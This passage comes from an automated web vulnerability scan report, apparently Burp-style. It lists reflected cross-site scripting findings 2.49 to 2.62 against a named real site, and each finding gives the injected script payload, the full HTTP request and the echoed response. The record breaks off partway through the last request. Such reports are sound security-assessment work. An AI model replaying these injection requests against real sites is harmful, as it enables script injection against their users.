<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/download-a-white-paper/?72458\"><script>alert(1)</script>6a2bba94794=1" />
...[SNIP]...

2.49. http://www.powermta.port25.com/smtp-server-software-2/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/smtp-server-software-2/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b40b"><script>alert(1)</script>cb227f93e82 was submitted in the REST URL parameter 1. This input was echoed as 3b40b\"><script>alert(1)</script>cb227f93e82 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /smtp-server-software-23b40b"><script>alert(1)</script>cb227f93e82/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:27:07 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:27:07 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/smtp-server-software-23b40b\"><script>alert(1)</script>cb227f93e82/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A" />
...[SNIP]...

2.50. http://www.powermta.port25.com/smtp-server-software-2/ [gclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/smtp-server-software-2/

Issue detail

The value of the gclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 118ce"><script>alert(1)</script>2713615afd7 was submitted in the gclid parameter. This input was echoed as 118ce\"><script>alert(1)</script>2713615afd7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A118ce"><script>alert(1)</script>2713615afd7 HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
Date: Fri, 16 Sep 2011 15:27:03 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 26444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A118ce\"><script>alert(1)</script>2713615afd7" />
...[SNIP]...

2.51. http://www.powermta.port25.com/smtp-server-software-2/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/smtp-server-software-2/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26cb9"><script>alert(1)</script>b1ff255d5a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 26cb9\"><script>alert(1)</script>b1ff255d5a7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A&26cb9"><script>alert(1)</script>b1ff255d5a7=1 HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
Date: Fri, 16 Sep 2011 15:27:05 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 26447

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A&26cb9\"><script>alert(1)</script>b1ff255d5a7=1" />
...[SNIP]...

2.52. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 724b4"><script>alert(1)</script>3f8b1f1a8b2 was submitted in the REST URL parameter 1. This input was echoed as 724b4\"><script>alert(1)</script>3f8b1f1a8b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content724b4"><script>alert(1)</script>3f8b1f1a8b2/themes/powermta1/images/about-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:17 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content724b4\"><script>alert(1)</script>3f8b1f1a8b2/themes/powermta1/images/about-logo.gif" />
...[SNIP]...

2.53. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfbc2"><script>alert(1)</script>cd7034d9c1 was submitted in the REST URL parameter 2. This input was echoed as bfbc2\"><script>alert(1)</script>cd7034d9c1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themesbfbc2"><script>alert(1)</script>cd7034d9c1/powermta1/images/about-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:18 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themesbfbc2\"><script>alert(1)</script>cd7034d9c1/powermta1/images/about-logo.gif" />
...[SNIP]...

2.54. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56ed8"><script>alert(1)</script>f042c7c93c1 was submitted in the REST URL parameter 3. This input was echoed as 56ed8\"><script>alert(1)</script>f042c7c93c1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta156ed8"><script>alert(1)</script>f042c7c93c1/images/about-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:19 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta156ed8\"><script>alert(1)</script>f042c7c93c1/images/about-logo.gif" />
...[SNIP]...

2.55. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18d2c"><script>alert(1)</script>18b37ffd2 was submitted in the REST URL parameter 4. This input was echoed as 18d2c\"><script>alert(1)</script>18b37ffd2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images18d2c"><script>alert(1)</script>18b37ffd2/about-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:24 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:24 GMT
Content-Length: 24869
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images18d2c\"><script>alert(1)</script>18b37ffd2/about-logo.gif" />
...[SNIP]...

2.56. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efd2c"><script>alert(1)</script>6f37b1a5ba8 was submitted in the REST URL parameter 5. This input was echoed as efd2c\"><script>alert(1)</script>6f37b1a5ba8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/about-logo.gifefd2c"><script>alert(1)</script>6f37b1a5ba8 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:34 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gifefd2c\"><script>alert(1)</script>6f37b1a5ba8" />
...[SNIP]...

2.57. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95e09"><script>alert(1)</script>3618a2f10ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 95e09\"><script>alert(1)</script>3618a2f10ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/about-logo.gif?95e09"><script>alert(1)</script>3618a2f10ed=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: PHPSESSID=ca5dec1508f53addddc0fabf237f0c8a

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:05 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:05 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24874

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif?95e09\"><script>alert(1)</script>3618a2f10ed=1" />
...[SNIP]...

2.58. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb569"><script>alert(1)</script>1a1bfa8a934 was submitted in the REST URL parameter 1. This input was echoed as eb569\"><script>alert(1)</script>1a1bfa8a934 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contenteb569"><script>alert(1)</script>1a1bfa8a934/themes/powermta1/images/face-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:12 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-contenteb569\"><script>alert(1)</script>1a1bfa8a934/themes/powermta1/images/face-logo.gif" />
...[SNIP]...

2.59. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e226f"><script>alert(1)</script>f7e10f62fb3 was submitted in the REST URL parameter 2. This input was echoed as e226f\"><script>alert(1)</script>f7e10f62fb3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themese226f"><script>alert(1)</script>f7e10f62fb3/powermta1/images/face-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:13 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themese226f\"><script>alert(1)</script>f7e10f62fb3/powermta1/images/face-logo.gif" />
...[SNIP]...

2.60. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec337"><script>alert(1)</script>35c6e68ecc3 was submitted in the REST URL parameter 3. This input was echoed as ec337\"><script>alert(1)</script>35c6e68ecc3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1ec337"><script>alert(1)</script>35c6e68ecc3/images/face-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:17 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1ec337\"><script>alert(1)</script>35c6e68ecc3/images/face-logo.gif" />
...[SNIP]...

2.61. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cca4"><script>alert(1)</script>76069474406 was submitted in the REST URL parameter 4. This input was echoed as 3cca4\"><script>alert(1)</script>76069474406 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images3cca4"><script>alert(1)</script>76069474406/face-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:18 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images3cca4\"><script>alert(1)</script>76069474406/face-logo.gif" />
...[SNIP]...

2.62. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efd7d"><script>alert(1)</script>b2723960a17 was submitted in the REST URL parameter 5. This input was echoed as efd7d\"><script>alert(1)</script>b2723960a17 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/images/face-logo.gifefd7d"><script>alert(1)</script>b2723960a17 HTTP/1.1
Host: www.powermta.port25.com
